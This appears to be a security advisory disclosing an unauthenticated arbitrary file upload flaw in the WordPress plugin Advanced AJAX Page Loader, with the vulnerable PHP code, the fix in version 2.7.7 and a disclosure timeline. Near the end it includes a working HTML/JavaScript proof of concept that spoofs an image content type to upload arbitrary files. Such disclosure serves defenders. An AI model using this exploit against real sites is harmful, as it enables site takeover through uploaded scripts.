Arbitrary File Upload Vulnerability in Advanced AJAX Page Loader
In what has been been far to common an occurrence over the last couple of months, we have again spotted what looks to be someone probing for usage of a WordPress plugin on one of our website, likely in perpetration for trying to exploit a vulnerability in it, in which we have then found that a very exploitable vulnerability is in the current version of the plugin and doesn’t have appear to have been previously disclosed.
This time it involves an arbitrary file upload vulnerability in Advanced AJAX Page Loader, which according to wordpress.org has 4,000+ active installs. Yesterday we had a request for the following file in the plugin: /wp-content/plugins/advanced-ajax-page-loader/reload_code.js. Since we didn’t have any vulnerabilities for this plugin already included in our data and couldn’t find any public information on a vulnerability that had existed in it, we went looking for something that someone might try to exploit. We quickly found that functionality for uploading an image through the plugin was accessible to anyone and that the protection on what types of files could be uploaded was easily bypassed leading to the arbitrary file upload vulnerability.
The beginning of the vulnerability is caused by the fact that each time an admin page in WordPress is accessed the plugin adds an action to run when “admin_init” occurs:
36 37 38 | if (is_admin()) { add_action('admin_init', 'admin_init_AAPL'); |
When accessing the page /wp-admin/admin-post.php, even if you are not logged it, that will cause the function admin_menu_AAPL() to run. When that functions runs one of the things it does is to call the function AAPL_options_validate():
85 | update_option('AAPL_loading_img', AAPL_options_validate()); |
That function handles uploading files to the website:
127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 | function AAPL_options_validate() { //print_r($_FILES); if (isset($_FILES['AAPLuploadloader']['name'])) { if ($_FILES['AAPLuploadloader']['error'] > 0) { update_option('AAPL_upload_error', 'Error: ' . $_FILES['AAPLuploadloader']['error'] . ' '); } else { if (($_FILES['AAPLuploadloader']['type'] == 'image/gif') || ($_FILES['AAPLuploadloader']['type'] == 'image/jpeg') || ($_FILES['AAPLuploadloader']['type'] == 'image/png') || ($_FILES['AAPLuploadloader']['type'] == 'image/apng')) { if (file_exists($GLOBALS['AAPLimages'] . '/loaders/' . $_FILES['AAPLuploadloader']['name'])) { update_option('AAPL_upload_error', 'Exists: ' . $_FILES['AAPLuploadloader']['name'] . ' '); } else { move_uploaded_file($_FILES['AAPLuploadloader']['tmp_name'], $GLOBALS['AAPLimages'] . '/loaders/' . $_FILES['AAPLuploadloader']['name']); update_option('AAPL_loading_img', $_FILES['AAPLuploadloader']['name']); return $_FILES['AAPLuploadloader']['name']; //echo "Stored in: " . $GLOBALS['AAPLimages'] . '/loaders/' . $_FILES['AAPLuploadloader']['name']; } } else { update_option('AAPL_upload_error', 'Bad type: ' . $_FILES['AAPLuploadloader']['type'] . ' '); } } } return get_option('AAPL_loading_img'); } |
That code doesn’t do any checks on who is doing the upload, so anyone can upload files.
The code does try to restrict what kinds of files can be upload to only several image types with the following code:
134 | if (($_FILES['AAPLuploadloader']['type'] == 'image/gif') || ($_FILES['AAPLuploadloader']['type'] == 'image/jpeg') || ($_FILES['AAPLuploadloader']['type'] == 'image/png') || ($_FILES['AAPLuploadloader']['type'] == 'image/apng')) { |
The problem is that is the [‘type’] is specified by the requester, so it can be set to something other than it actually is. So you could upload .php file, but say the type is “image/gif/” and the plugin will allow it.
In comparison with the other recent vulnerabilities of this type where action from the developer is slow in coming, if at all, within hours of us contacting the developer about the issue, they released a new version, 2.7.7, which fixed the issue by exiting the function admin_init_AAPL() if the request comes from someone cannot manage_options:
41 42 | function admin_init_AAPL() { if (!current_user_can('manage_options')) die(__('You cannot edit these options.')); |
There is still a cross-site request forgery (CSRF) issue, but that is minor in comparison to the original issue.
Proof of Concept
The following proof of concept will upload the selected file to the directory /wp-content/uploads/AAPL/loaders/.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <head> <script> window.addEventListener('load', function () { var file = { dom : document.getElementById("file"), binary : null }; var reader = new FileReader(); reader.addEventListener("load", function () { file.binary = reader.result; }); if(file.dom.files[0]) { reader.readAsBinaryString(file.dom.files[0]); } file.dom.addEventListener("change", function () { if(reader.readyState === FileReader.LOADING) reader.abort(); reader.readAsBinaryString(file.dom.files[0]); }); function sendData() { var xmlhttp = new XMLHttpRequest(); var boundary = "blob"; var data = ""; data += "--" + boundary + "\r\n"; data += 'content-disposition: form-data; ' + 'name="AAPLuploadloader"; ' + 'filename="' + file.dom.files[0].name + '"\r\n'; data += 'Content-Type: image/png\r\n'; data += '\r\n'; data += file.binary + '\r\n'; data += "--" + boundary + "--"; xmlhttp.open('POST', 'http://[path to WordPress]/wp-admin/admin-post.php'); xmlhttp.setRequestHeader('Content-Type','multipart/form-data; boundary=' + boundary); xmlhttp.send(data); } var form = document.getElementById("form"); form.addEventListener('submit', function (event) { sendData(); }); }); </script> </head> <body> <form id="form"> <input id="file" name="file" type="file"> <button>Submit</button> </form> </body> </html>
Timeline
- 7/3/2016 – Developer notified.
- 7/3/2016 – Version 2.7.7 released, which fixes vulnerability.